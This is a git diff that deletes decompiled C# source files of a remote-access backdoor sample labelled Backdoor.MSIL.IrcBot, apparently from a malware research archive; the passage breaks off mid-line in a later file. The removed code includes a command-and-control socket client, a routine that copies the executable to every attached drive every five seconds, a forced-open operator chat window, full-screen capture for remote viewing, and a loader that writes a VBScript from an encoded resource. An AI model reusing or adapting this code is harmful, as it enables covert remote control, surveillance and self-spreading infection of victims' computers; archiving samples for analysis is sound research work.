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 - O6esAIIAAAA= - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs deleted file mode 100644 index 2482ff05..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/SocketsClient.cs +++ /dev/null @@ -1,261 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.SocketsClient -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.IO; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class SocketsClient - { - private static string response = string.Empty; - private static int port; - private static IPHostEntry ipHostInfo; - private static IPAddress ipAddress; - private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - private byte[] Spl; - private static int ct; - - public SocketsClient() => this.Spl = this.STB("nj-q8"); - - public void AT(byte[] D) - { - MyProject.MyForms forms = MyProject.Forms; - Form b = (Form) forms.B; - n.Delegates.T.T.appendText(ref b, ref D); - forms.B = (B) b; - } - - public event SocketsClient.onConnectEventHandler onConnect; - - public event SocketsClient.onErrorEventHandler onError; - - public event SocketsClient.onDataArrivalEventHandler onDataArrival; - - public event SocketsClient.onDisconnectEventHandler onDisconnect; - - public event SocketsClient.onSendCompleteEventHandler onSendComplete; - - public void Connect(string RemoteHostName, int RemotePort) - { - try - { - SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - SocketsClient.port = RemotePort; - SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName); - SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0]; - IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port); - SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void SendData(byte[] Data) - { - try - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Data, 0, Data.Length); - memoryStream.Write(this.Spl, 0, this.Spl.Length); - memoryStream.ToArray(); - SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - memoryStream.Dispose(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Disconnect() - { - try - { - SocketsClient.client.Shutdown(SocketShutdown.Both); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - SocketsClient.client.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public byte[] STB(string Data) => Encoding.Default.GetBytes(Data); - - public string BTS(byte[] Data) => Encoding.Default.GetString(Data); - - private void sockConnected(IAsyncResult ar) - { - try - { - if (!SocketsClient.client.Connected) - { - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent == null) - return; - onDisconnectEvent(); - } - else - { - SocketsClient.client.ReceiveBufferSize = 99999; - SocketsClient.client.ReceiveTimeout = -1; - SocketsClient.client.SendTimeout = -1; - SocketsClient.client.ReceiveTimeout = 9000; - ++SocketsClient.ct; - new Thread(new ThreadStart(this.DDD)).Start(); - SocketsClient.onConnectEventHandler onConnectEvent = this.onConnectEvent; - if (onConnectEvent == null) - return; - onConnectEvent(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent; - if (onDisconnectEvent != null) - onDisconnectEvent(); - ProjectData.ClearProjectError(); - } - } - - public void DDD() - { - int ct = SocketsClient.ct; - MemoryStream memoryStream = new MemoryStream(); - while (true) - { - int num; - ++num; - Thread.Sleep(5); - if (ct >= SocketsClient.ct) - { - try - { - if (num > 200) - { - try - { - if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0) - { - MyProject.Forms.B.Dis(); - break; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - MyProject.Forms.B.Dis(); - ProjectData.ClearProjectError(); - break; - } - num = 0; - } - if (SocketsClient.client.Available > 0) - { - byte[] numArray = new byte[SocketsClient.client.Available - 1 + 1]; - SocketsClient.client.Receive(numArray, numArray.Length, SocketFlags.None); - if (Strings.InStr(this.BTS(numArray), "nj-q8") > 0) - { - memoryStream.Write(numArray, 0, numArray.Length); - new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start((object) memoryStream.ToArray()); - memoryStream = new MemoryStream(); - } - else - memoryStream.Write(numArray, 0, numArray.Length); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - break; - } - } - - public void EFE(byte[] B) - { - SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent; - if (dataArrivalEvent == null) - return; - dataArrivalEvent(B, B.Length - 1); - } - - private void sockSendEnd(IAsyncResult ar) - { - try - { - int DataSize = ((Socket) ar.AsyncState).EndSend(ar); - SocketsClient.onSendCompleteEventHandler sendCompleteEvent = this.onSendCompleteEvent; - if (sendCompleteEvent == null) - return; - sendCompleteEvent(DataSize); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - SocketsClient.onErrorEventHandler onErrorEvent = this.onErrorEvent; - if (onErrorEvent != null) - onErrorEvent(Information.Err().Description); - ProjectData.ClearProjectError(); - } - } - - public bool Connected() - { - bool flag; - try - { - flag = SocketsClient.client.Connected; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public delegate void onConnectEventHandler(); - - public delegate void onErrorEventHandler(string Description); - - public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes); - - public delegate void onDisconnectEventHandler(); - - public delegate void onSendCompleteEventHandler(int DataSize); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs deleted file mode 100644 index 63f7a118..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/StateObject.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.StateObject -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using System.Net.Sockets; -using System.Text; - -namespace n -{ - public class StateObject - { - public Socket workSocket; - public int BufferSize; - public byte[] buffer; - public StringBuilder sb; - - public StateObject() - { - this.workSocket = (Socket) null; - this.BufferSize = 1999998; - this.buffer = new byte[1999999]; - this.sb = new StringBuilder(); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs deleted file mode 100644 index ed8a762a..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/USB.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.USB -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - public sealed class USB - { - public static void USb(string S) - { - while (true) - { - Thread.Sleep(5000); - try - { - foreach (DriveInfo drive in DriveInfo.GetDrives()) - { - if (drive.IsReady) - { - if (drive.TotalFreeSpace > 0L) - { - try - { - if (!File.Exists(drive.Name + S)) - { - File.Copy(Application.ExecutablePath, drive.Name + S, true); - File.SetAttributes(drive.Name + S, FileAttributes.Normal); - } - else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath)) - File.Delete(drive.Name + S); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs deleted file mode 100644 index 1928f35d..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.cs +++ /dev/null @@ -1,317 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.chat -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace n -{ - [DesignerGenerated] - public class chat : Form - { - private IContainer components; - [AccessedThroughProperty("T2")] - private TextBox _T2; - [AccessedThroughProperty("B1")] - private Button _B1; - [AccessedThroughProperty("Timer1")] - private Timer _Timer1; - [AccessedThroughProperty("T1")] - private RichTextBox _T1; - public static bool clos; - public string nick; - - public chat() - { - this.Load += new EventHandler(this.chat_Load); - this.FormClosing += new FormClosingEventHandler(this.chat_FormClosing); - this.Resize += new EventHandler(this.chat_Resize); - this.MaximizedBoundsChanged += new EventHandler(this.chat_MaximizedBoundsChanged); - this.SizeChanged += new EventHandler(this.chat_SizeChanged); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.T2 = new TextBox(); - this.B1 = new Button(); - this.Timer1 = new Timer(this.components); - this.T1 = new RichTextBox(); - this.SuspendLayout(); - this.T2.BackColor = SystemColors.WindowText; - this.T2.ForeColor = SystemColors.InactiveCaption; - TextBox t2_1 = this.T2; - Point point1 = new Point(12, 364); - Point point2 = point1; - t2_1.Location = point2; - this.T2.Name = "T2"; - TextBox t2_2 = this.T2; - Size size1 = new Size(450, 20); - Size size2 = size1; - t2_2.Size = size2; - this.T2.TabIndex = 2; - this.B1.FlatStyle = FlatStyle.Flat; - Button b1_1 = this.B1; - point1 = new Point(468, 364); - Point point3 = point1; - b1_1.Location = point3; - this.B1.Name = "B1"; - Button b1_2 = this.B1; - size1 = new Size(133, 23); - Size size3 = size1; - b1_2.Size = size3; - this.B1.TabIndex = 3; - this.B1.Text = "Send"; - this.B1.UseVisualStyleBackColor = true; - this.Timer1.Enabled = true; - this.T1.BackColor = SystemColors.WindowText; - this.T1.ForeColor = SystemColors.InactiveCaption; - RichTextBox t1_1 = this.T1; - point1 = new Point(12, 12); - Point point4 = point1; - t1_1.Location = point4; - this.T1.Name = "T1"; - this.T1.ReadOnly = true; - RichTextBox t1_2 = this.T1; - size1 = new Size(450, 346); - Size size4 = size1; - t1_2.Size = size4; - this.T1.TabIndex = 4; - this.T1.Text = ""; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.InactiveCaptionText; - size1 = new Size(413, 233); - this.ClientSize = size1; - this.Controls.Add((Control) this.T1); - this.Controls.Add((Control) this.B1); - this.Controls.Add((Control) this.T2); - this.Name = nameof (chat); - this.ShowIcon = false; - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (chat); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual TextBox T2 - { - get => this._T2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - KeyPressEventHandler pressEventHandler = new KeyPressEventHandler(this.T2_KeyPress); - EventHandler eventHandler = new EventHandler(this.T2_TextChanged); - if (this._T2 != null) - { - this._T2.KeyPress -= pressEventHandler; - this._T2.TextChanged -= eventHandler; - } - this._T2 = value; - if (this._T2 == null) - return; - this._T2.KeyPress += pressEventHandler; - this._T2.TextChanged += eventHandler; - } - } - - internal virtual Button B1 - { - get => this._B1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.B1_Click); - if (this._B1 != null) - this._B1.Click -= eventHandler; - this._B1 = value; - if (this._B1 == null) - return; - this._B1.Click += eventHandler; - } - } - - internal virtual Timer Timer1 - { - get => this._Timer1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual RichTextBox T1 - { - get => this._T1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.T1_TextChanged); - if (this._T1 != null) - this._T1.TextChanged -= eventHandler; - this._T1 = value; - if (this._T1 == null) - return; - this._T1.TextChanged += eventHandler; - } - } - - private void chat_FormClosing(object sender, FormClosingEventArgs e) - { - if (chat.clos) - return; - e.Cancel = true; - } - - private void chat_Resize(object sender, EventArgs e) => this.fx(); - - private void chat_MaximizedBoundsChanged(object sender, EventArgs e) => this.fx(); - - public void fx() - { - try - { - this.T1.Width = this.Width - 40; - this.T2.Width = this.B1.Left - 20; - this.T2.Top = this.Height - this.T2.Height - 50; - this.T1.Height = this.T2.Top - 20; - this.B1.Left = this.T1.Width - this.B1.Width + 12; - this.B1.Top = this.T2.Top - 3; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_KeyPress(object sender, KeyPressEventArgs e) - { - if (Strings.Asc(e.KeyChar) != 13) - return; - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void chat_SizeChanged(object sender, EventArgs e) => this.fx(); - - private void chat_Load(object sender, EventArgs e) - { - try - { - B b = MyProject.Forms.B; - string str = "#20"; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.TopMost = true; - this.Show(); - } - - private void B1_Click(object sender, EventArgs e) - { - try - { - if (this.T2.Text.Length <= 0) - return; - B b = MyProject.Forms.B; - string y = IND.Y; - TextBox t2 = this.T2; - string text = t2.Text; - string str1 = API.ENB(ref text); - t2.Text = text; - string str2 = "#21" + y + str1; - ref string local = ref str2; - b.SEND(ref local); - RichTextBox t1 = this.T1; - t1.Text = t1.Text + "Me : " + this.T2.Text + "\r\n"; - this.T2.Text = ""; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void T2_TextChanged(object sender, EventArgs e) - { - } - - private void Timer1_Tick(object sender, EventArgs e) - { - if (!chat.clos) - return; - this.Close(); - } - - private void T1_TextChanged(object sender, EventArgs e) - { - try - { - this.T1.SelectionStart = this.T1.Text.Length - 1; - this.T1.ScrollToCaret(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/chat.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs deleted file mode 100644 index 40489a84..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/sc.cs +++ /dev/null @@ -1,151 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.sc -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.CompilerServices; -using n.My; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class sc - { - private static bool _0; - private static int H; - private static int W; - private static int HH; - private static int WW; - public static Image Image; - public static Rectangle Bounds; - - public static byte[] gc(ref int Q) - { - if (!sc._0) - { - sc._0 = true; - sc.H = MyProject.Computer.Screen.Bounds.Height; - sc.W = MyProject.Computer.Screen.Bounds.Width; - } - int num; - switch (Q) - { - case 0: - num = 30; - sc.HH = 1; - sc.WW = 1; - break; - case 1: - num = 25; - sc.HH = 1; - sc.WW = 1; - break; - case 2: - num = 20; - sc.HH = 1; - sc.WW = 1; - break; - case 3: - num = 60; - sc.HH = 2; - sc.WW = 2; - break; - case 4: - num = 50; - sc.HH = 2; - sc.WW = 2; - break; - case 5: - num = 70; - sc.HH = 3; - sc.WW = 3; - break; - case 6: - num = 40; - sc.HH = 3; - sc.WW = 3; - break; - case 7: - num = 50; - sc.HH = 4; - sc.WW = 4; - break; - case 8: - num = 50; - sc.HH = 5; - sc.WW = 5; - break; - case 9: - num = 50; - sc.HH = 6; - sc.WW = 6; - break; - case 10: - num = 50; - sc.HH = 9; - sc.WW = 9; - break; - } - MemoryStream memoryStream = new MemoryStream(); - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - sc.Gd((int) Math.Round((double) sc.W / (double) sc.WW), (int) Math.Round((double) sc.H / (double) sc.HH)).Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - public static ImageCodecInfo GetEncoderInfo(string mimeType) - { - ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); - int length = imageEncoders.Length; - for (int index = 0; index <= length; ++index) - { - if (Operators.CompareString(imageEncoders[index].MimeType, mimeType, false) == 0) - return imageEncoders[index]; - } - return (ImageCodecInfo) null; - } - - public static Image Gd(int Wi = 0, int He = 0, bool Sh = true) - { - Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap); - Graphics graphics2 = graphics1; - Size size1; - ref Size local1 = ref size1; - int width = Screen.PrimaryScreen.Bounds.Width; - Rectangle bounds = Screen.PrimaryScreen.Bounds; - int height = bounds.Height; - local1 = new Size(width, height); - Size blockRegionSize = size1; - graphics2.CopyFromScreen(0, 0, 0, 0, blockRegionSize, CopyPixelOperation.SourceCopy); - if (Sh) - { - Cursor cursor = Cursors.Default; - Graphics g = graphics1; - ref Rectangle local2 = ref bounds; - Point position = Cursor.Position; - size1 = new Size(32, 32); - Size size2 = size1; - local2 = new Rectangle(position, size2); - Rectangle targetRect = bounds; - cursor.Draw(g, targetRect); - } - graphics1.Dispose(); - if (Wi == 0 & He == 0) - { - sc.Image = (Image) bitmap; - return (Image) bitmap; - } - Image thumbnailImage = bitmap.GetThumbnailImage(Wi, He, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap.Dispose(); - return thumbnailImage; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs deleted file mode 100644 index ea92749b..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/A.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.A -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class A - { - [AccessedThroughProperty("B")] - private BackgroundWorker _B; - public static Process fj = new Process(); - private string u; - private string z; - - public A() - { - this.B = new BackgroundWorker(); - this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - string q = n.My.Resources.Resources.Q; - this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", 